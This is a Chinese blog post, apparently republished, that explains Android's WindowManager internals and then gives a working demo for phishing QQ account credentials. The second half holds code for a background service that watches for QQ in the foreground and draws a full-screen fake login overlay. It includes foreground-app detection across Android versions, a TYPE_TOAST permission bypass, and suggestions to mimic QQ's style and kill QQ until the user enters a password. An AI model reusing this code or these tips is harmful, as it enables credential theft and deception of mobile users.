android WindowManager解析与骗取QQ密码案例分析

黄沙百战穿金甲,不破楼兰终不还。这篇文章主要讲述android WindowManager解析与骗取QQ密码案例分析相关的知识,希望能为你提供帮助。
最近在网上看见一个人在乌云上提了一个漏洞, 应用可以开启一个后台 Service, 检测当前顶部应用, 如果为 QQ 或相关应用, 就弹出一个自定义 window 用来诱骗用户输入账号密码, 挺感兴趣的, 总结相关知识写了一个 demo, 界面如下( 界面粗糙, 应该没人会上当吧, 意思到了就行哈= , = ) :

android WindowManager解析与骗取QQ密码案例分析

文章图片

demo 地址: https://github.com/zhaozepeng/GrabQQPWD

Window& & WindowManager介绍 分析demo之前, 先要整理总结一下相关的知识。先看看 Window 类, Window 是一个抽象类, 位于代码树 frameworks/android/view/Window.java 文件。连同注释, 这个文件总共一千多行, 它概括了 Android 窗口的基本属性和基本功能。唯一实现了这个抽象类的是 PhoneWindow, 实例化 PhoneWindow 需要一个窗口, 只需要通过 WindowManager 即可完成, Window 类的具体实现位于 WindowManagerService中, WindowManager 和 WindowManagerService 的交互是一个 IPC 过程。Android 中的所有视图都是通过 Window 来呈现的, 不管是 Activity, Dialog 还是 Toast, 他们的视图实际上都是附加在 Window 上的, 因此 Window 实际上是 View 的直接管理者, 点击事件也是由 Window 传递给 view 的。WindowManager.LayoutParams.type 参数表示 window 的类型, 共有三种类型, 分别是应用 Window, 子 Window 和系统 Window。应用 Window 对应着一个 Activity, 类似 Dialog 之类的子 Window 不能单独存在, 他需要附属在应用 Window 上才可以, 系统 Window 则不需要, 比如 Toast 之类, 可以直接显示。每个 Window 都有对应的 z-orderd, 层级大的 Window 会覆盖在层级小的 Window 之上, 应用 Window 的层级范围是 1~99, 子 Window 的范围是 1000~1999, 系统 Window 的范围是 2000~2999, 这些层级范围都对应着相关的 type, type 的相关取值: 官网链接中文资料。WindowManager.LayoutParams.flags 参数表示 Window 的属性, 默认为 none, flags 的相关取值: 官方链接, 还有其他的 LayoutParams 变量名称和取值可以参考 WindowManager.LayoutParams( 上) WindowManager.LayoutParams( 下) 两篇译文博客, 很详细。
再详细分析一下 WindowManager, WindowManager 主要用来管理窗口的一些状态、属性、view 增加、删除、更新、窗口顺序、消息收集和处理等。通过代码 Context.getSystemService(Context.WINDOW_SERVICE)可 以获得 WindowManager 的实例。WindowManager 所提供的功能很简单, 常用的只有三个方法, 即添加 View、更新 View 和删除 View, 这三个方法定义在 ViewManager 中, 而 WindowManager 继承了 ViewManager

  • addView();
  • updateViewLayout();
  • removeView();
这些函数是用来修改 Window 的, 它的真正实现是 WindowManagerImpl 类, WindowManagerImpl 这种工作模式是典型的 桥接模式, Window 为抽象部分, WindowManagerImpl 为实现部分。WindowManagerImpl 类并没有直接实现 Window 的三大操作, 而是全部交给了 WindowManagerGlobal 来处理, WindowManagerGlobal 以 单例模式 的形式向外提供自己的实例, 在 WindowManagerGlobal 中有如下一段代码:
private final WindowManagerGlobal mGlobal = WindowManagerGlobal.getinstance()

将所有的操作全部交给 WindowManagerGlobal 来实现, 后续的分析感兴趣的可以看看我的博客: java/android 设计模式学习笔记( 8) —桥接模式。
View 是 Android 中视图的呈现方式, 但是 View 不能单独存在, 他必须要附着在 Window 这个抽象的概念上面, 每一个 Window 都对应着一个 View 和一个 ViewRootImpl, Window 和 View 通过 ViewRootImpl 来建立联系, 因此有视图的地方就有 Window, 比如常见的 Activity, Dialog, Toast 等, 简化的关系如下所示:
android WindowManager解析与骗取QQ密码案例分析

文章图片

对于每个 activity 只有一个 decorView 也就是 ViewRoot, window 是通过下面方法获取的
Window mWindow = PolicyManager.makeNewWindow(this);

创建完 Window 之后, activity 会为该 Window 设置回调, Window 接收到外界状态改变时就会回调到 activity 中。在 activity 中会调用 setContentView() 函数, 它是调用 window.setContentView() 完成的, 而 Window 的具体实现是 PhoneWindow, 所以最终的具体操作是在 PhoneWindow 中, PhoneWindow 的 setContentView 方法第一步会检测 DecorView 是否存在, 如果不存在, 就会调用 generateDecor 函数直接创建一个 DecorView; 第二步就是将 activity 的视图添加到 DecorView 的 mContentParent 中; 第三步是回调 activity 中的 onContentChanged 方法通知 activity 视图已经发生改变。这些步骤完成之后, DecorView 还没有被 WindowManager 正式添加到 Window 中, 最后调用 Activity 的 onResume 方法中的 makeVisible 方法才能真正地完成添加和现实过程, activity 的视图才能被用户看到。对 Activity 的启动过程和 Window 的创建过程感兴趣的可以看看我的这篇博客android 不能在子线程中更新ui的讨论和分析
Dialog Window 的创建过程和 Activity 类似, 第一步也是用 PolicyManager.makeNewWindow 方法来创建一个 Window, 不过这里传入的 Context 必须要为 Activity 的context; 第二步也是通过 setContentView 函数去设置 dialog 的布局视图; 第三步调用 show 方法, 通过 WindowManager 将 DecorView 添加到 Window 中显示出来。
Toast 和 Dialog 不同, 它稍微复杂一点, 首先 Toast 也是基于 Window 来实现的, 但是由于 Toast 具有定时取消的这一个功能, 所以系统采用了 Handler。在 Toast 的内部有两类 IPC 过程, 第一类是 Toast 访问 NotificationManagerService, 第二类是 NotificationManagerService 回调 Toast 里的 TN 接口。在 Toast 类中, 最重要的用于显示该 toast 的 show 方法调用了 service.enqueueToast(pkg, tn, mDuration); 也就是说系统为我们维持了一个 toast 队列, 这也是为什么两个 toast 不会同时显示的原因, 该方法将一个 toast 入队, 显示则由系统维持显示的时机。
private static INotificationManager sService; static private INotificationManager getService() { if (sService != null) { return sService; } sService = INotificationManager.Stub.asInterface(ServiceManager.getService(" notification" )); return sService; }

该服务 sService 就是系统用于维护 toast 的服务。最后 NMS 会通过 IPC 调用 Toast 类内部的一个静态私有类 TN, 该类是 toast 的主要实现, 该类完成了 toast 视图的创建, 显示和隐藏。
网上介绍 WindowManager 的博客很多, 都写得很好的, 要具体了解的可以结合看看源码:
http://blog.csdn.net/chenyafei617/article/details/6577940)
http://www.tuicool.com/articles/fqiyeqM
http://blog.csdn.net/xieqibao/article/details/6567814
http://www.cnblogs.com/xiaoQLu/archive/2013/05/30/3108855.html
相关资料太多了, 感兴趣的可以看看源码。
骗取QQ密码实例 有了上面的基础之后, 这个例子其实就非常简单了。
第一步编写一个 Service 并且在 Service 中弹出一个自定义的 Window:
windowManager = (WindowManager) getSystemService(Context.WINDOW_SERVICE); WindowManager.LayoutParams params = new WindowManager.LayoutParams(); params.width = WindowManager.LayoutParams.MATCH_PARENT; params.height = WindowManager.LayoutParams.MATCH_PARENT; params.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL; params.type = WindowManager.LayoutParams.TYPE_SYSTEM_ERROR; params.format = PixelFormat.TRANSPARENT; params.gravity = Gravity.CENTER; params.softInputMode = WindowManager.LayoutParams.SOFT_INPUT_ADJUST_PAN; LayoutInflater inflater = LayoutInflater.from(this); v = (RelativeLayoutWithKeyDetect) inflater.inflate(R.layout.window, null); v.setCallback(new RelativeLayoutWithKeyDetect.IKeyCodeBackCallback() { @ Override public void backCallback() { if (v!= null & & v.isAttachedToWindow()) L.e(" remove view " ); windowManager.removeViewImmediate(v); } }); btn_sure = (Button) v.findViewById(R.id.btn_sure); btn_cancel = (Button) v.findViewById(R.id.btn_cancel); et_account = (EditText) v.findViewById(R.id.et_account); et_pwd = (EditText) v.findViewById(R.id.et_pwd); cb_showpwd = (CheckBox) v.findViewById(R.id.cb_showpwd); cb_showpwd.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() { @ Override public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) { if (isChecked) { et_pwd.setTransformationMethod(HideReturnsTransformationMethod.getInstance()); } else { et_pwd.setTransformationMethod(PasswordTransformationMethod.getInstance()); } et_pwd.setSelection(TextUtils.isEmpty(et_pwd.getText()) ? 0 : et_pwd.getText().length()); } }); //useless //v.setOnKeyListener(new View.OnKeyListener() { //@ Override //public boolean onKey(View v, int keyCode, KeyEvent event) { //Log.e(" zhao" , keyCode+ " " ); //if (keyCode = = KeyEvent.KEYCODE_BACK) { //windowManager.removeViewImmediate(v); //return true; //} //return false; //} //}); //点击外部消失 v.setOnTouchListener(new View.OnTouchListener() { @ Override public boolean onTouch(View view, MotionEvent event) { Rect temp = new Rect(); view.getGlobalVisibleRect(temp); L.e(" remove view " ); if (temp.contains((int)(event.getX()), (int)(event.getY()))){ windowManager.removeViewImmediate(v); return true; } return false; } }); btn_sure.setOnClickListener(this); btn_cancel.setOnClickListener(this); L.e(" add view " ); windowManager.addView(v, params);

这里有几点需要说明一下,
  • 对悬浮窗权限的详细介绍请看我的另一篇博客: Android 悬浮窗各机型各系统适配大全
  • 第一个是 type 使用 TYPE_TOAST 而不是用 TYPE_SYSTEM_ERROR 是可以绕过权限的, 这个是在知乎上看见有人说的一个漏洞, 哈哈, 但是因为在这个 Window 中有 edittext 控件, 如果设置为 toast, 软键盘是没法把布局顶上去的, 只有 TYPE_SYSTEM_ERROR 可以将布局顶上去, 如果想用 toast 绕过权限, 布局就得自己精心去设计了;
  • 第二个是因为有 Edittext, 所以 softInputMode 需要设置为 SOFT_INPUT_ADJUST_PAN, 要不然软键盘会覆盖 Window;
  • 第三个是返回键的监听, setOnKeyListener 是不好用的, 最后只能复写 View 类的 dispatchKeyEvent 函数来实现按键监听了;
  • 第四个是点击外部消失的操作, 看代码就会明白了;
  • 第五个, 获取顶部应用的权限问题, 在这里非常感谢 @ android_jiajia 朋友, 提醒了一下, 在 5.0 之前, 5.0~5.1.1, 5.1.1 之后获取顶部应用的方式其实是不一样的, getTopActivityBeforeL(), getTopActivityBeforeLMAfterL(), getTopActivityAfterLM(), 特别要说明的是 LM 版本之后如果要去获取顶部应用使用的 getAppTasks 方法时需要用户手动去开启权限的, 但是这不就暴露了么, 刚开始找到了一个 github 库去解决 https://github.com/jaredrummler/AndroidProcesses, 因为 android 底层还是linux内核, 所以 /proc 的系统目录下会有进程的相关信息, 原理就是基于此, 但是最后依旧获取不到顶部的应用T__T, 最后没办法了, 只能够使用动态申请权限的方案了 PACKAGE_USAGE_STATS
  • 第六个是在 6.0 的系统上, 单单 Manifest 静态注册是不管用的, 直接使用 WindowManager.LayoutParams.TYPE_SYSTEM_ERROR 是会直接崩溃, 具体可以看看我的这篇博客 android permission权限与安全机制解析( 下) , 这个我在代码中也做好了适配。不过好消息是使用第一条我介绍的 TYPE_TOAST 依旧是可以绕过权限的, 软键盘覆盖问题其实可以把布局挪上去就可以了T__T。

实现了弹出框的弹出之后, 接着就要设置一个实时监听, 开启一个线程, 每隔几秒去监听用户正在操作的应用是否是 QQ, 这个就简单多了, 使用 ActivityManager 就可以了:
new Thread(new Runnable() { @ Override public void run() { while (isRunning){ L.e(" running" ); try { Thread.sleep(3000); } catch (InterruptedException e) { e.printStackTrace(); } if (isAppForground(" com.tencent.mobileqq" )){ myHandler.sendEmptyMessage(1); } } } }).start();

获取顶部应用适配方法
private boolean isAppForeground(String appName){ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP){ return appName.equals(getTopActivityBeforeL()); }else if (Build.VERSION.SDK_INT > = Build.VERSION_CODES.LOLLIPOP_MR1){ return appName.equals(getTopActivityAfterLM()); }else{ return appName.equals(getTopActivityBeforeLMAfterL()); } }//5.0之前可以使用getRunningAppProcesses()函数获取 private String getTopActivityBeforeL(){ ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE); final List< ActivityManager.RunningAppProcessInfo> taskInfo = activityManager.getRunningAppProcesses(); return taskInfo.get(0).processName; }//http://stackoverflow.com/questions/24625936/getrunningtasks-doesnt-work-in-android-l //processState只能在21版本之后使用 private String getTopActivityBeforeLMAfterL() { final int PROCESS_STATE_TOP = 2; Field field = null; ActivityManager.RunningAppProcessInfo currentInfo = null; try { field = ActivityManager.RunningAppProcessInfo.class.getDeclaredField(" processState" ); } catch (Exception ignored) { } ActivityManager activityManager = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE); final List< ActivityManager.RunningAppProcessInfo> processInfos = activityManager.getRunningAppProcesses(); for (ActivityManager.RunningAppProcessInfo processInfo : processInfos) { if (processInfo.importance = = ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND & & processInfo.importanceReasonCode = = ActivityManager.RunningAppProcessInfo.REASON_UNKNOWN) { Integer state = null; try { state = field.getInt(processInfo); } catch (Exception e) { } if (state != null & & state = = PROCESS_STATE_TOP) { currentInfo = processInfo; break; } } } return currentInfo!= null ? currentInfo.processName : null; }//注: 6.0之后此方法也不太好用了 //http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag //private String getTopActivityAfterLM(){ //ActivityManager.RunningAppProcessInfo topActivity = //ProcessManager.getRunningAppProcessInfo(this).get(0); //return topActivity.processName; //}@ TargetApi(Build.VERSION_CODES.LOLLIPOP_MR1) private String getTopActivityAfterLM() { try { UsageStatsManager usageStatsManager = (UsageStatsManager) getSystemService(Context.USAGE_STATS_SERVICE); long milliSecs = 60 * 1000; Date date = new Date(); List< UsageStats> queryUsageStats = usageStatsManager.queryUsageStats(UsageStatsManager.INTERVAL_DAILY, date.getTime() - milliSecs, date.getTime()); if (queryUsageStats.size() < = 0) { return null; } long recentTime = 0; String recentPkg = " " ; for (int i = 0; i < queryUsageStats.size(); i+ + ) { UsageStats stats = queryUsageStats.get(i); if (stats.getLastTimeStamp() > recentTime) { recentTime = stats.getLastTimeStamp(); recentPkg = stats.getPackageName(); } } return recentPkg; } catch (Exception e) { e.printStackTrace(); } return " " ; }

PS:小米手机的 ROM 官方禁止了这些行为, 不管是 getRunningAppProcesses, getRunningTasks, 和 ProcessManager 都只能返回自己和系统应用的列表, 怎么搞?
http://www.miui.com/forum.php?mod= viewthread& tid= 2866840
更新, 不光这样, 在最新版本的小米 ROM 中, Manifest 文件中申请了
< uses-permission android:name= " android.permission.SYSTEM_ALERT_WINDOW" />

【android WindowManager解析与骗取QQ密码案例分析】权限, 使用 WindowManager.LayoutParams.TYPE_SYSTEM_ERROR 还是无法弹出 Window, 小米 ROM 需要特殊处理一下, 具体的可以看看我的一个开源项目: Android 悬浮窗权限各机型各系统适配大全, 大家感兴趣的可以参与进来。
这样效果就差不多了, 最后在Activity中启动该Service即可, 当然这个还有很多改进的余地:
1. 修改 UI, 使之更加的和 QQ 风格相似。
2. 用户输入完账号和密码之后, 可以 addView 一个 loadingDialog, 接着调用相关接口去验证用户名和密码的正确性, 不正确提示用户重新输入。
3. 如果用户不输入账号和密码, 直接调用 killBackgrondProcess 函数( 需要权限) , 强硬的把 QQ 关闭, 直到用户输入账号和密码。
当然了, 这只是学习知识而已, 大家开心就好啊  ̄ ? ̄ 。

    推荐阅读